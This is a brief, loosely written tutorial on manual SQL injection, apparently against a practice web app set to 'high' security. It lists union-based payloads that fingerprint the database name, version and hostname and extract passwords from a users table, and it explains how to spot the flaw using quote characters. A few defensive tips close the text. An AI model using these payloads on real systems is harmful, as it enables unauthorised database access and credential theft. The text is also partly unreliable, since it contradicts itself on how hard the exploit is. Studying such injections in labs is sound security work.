sql injection high level without tools

exploit sql injection high level without tools. All used injections:
%' order by 2 #
%' union select null,database() #
%' union select 1,@@version#
%' and 1=0 union select null,@@hostname #
%' and 1=0 union select null, concat(password) from users #

Note: it depends if you have to put a blank in the commands or a + (plus). For example, in some web app you have to write an ID instead of %: e.g. php?id=1.
it is easy to detect if a webapp is infected with this vulnerability. in most cases it is detected when the attacker gets a syntax error or when the web page changes by making a quote marks after php?id=1 : php?id=11" or ' or first two --.etc In general, to exploit the sql vulnerability, you must first get the number of columns and tables and some important names, such as the user name, the name of the database and its version. Although the level of protection was high in this example, it is very easy to exploit and in fact the application is rather difficult, especially if the WAF notices your strange commands. Even php has a fairly good level of protection. Professionals put strange names to the database so that it is difficult to guess. and change the prefix of the default tables. not forgetting strong passwords that the decoder cannot decipher easily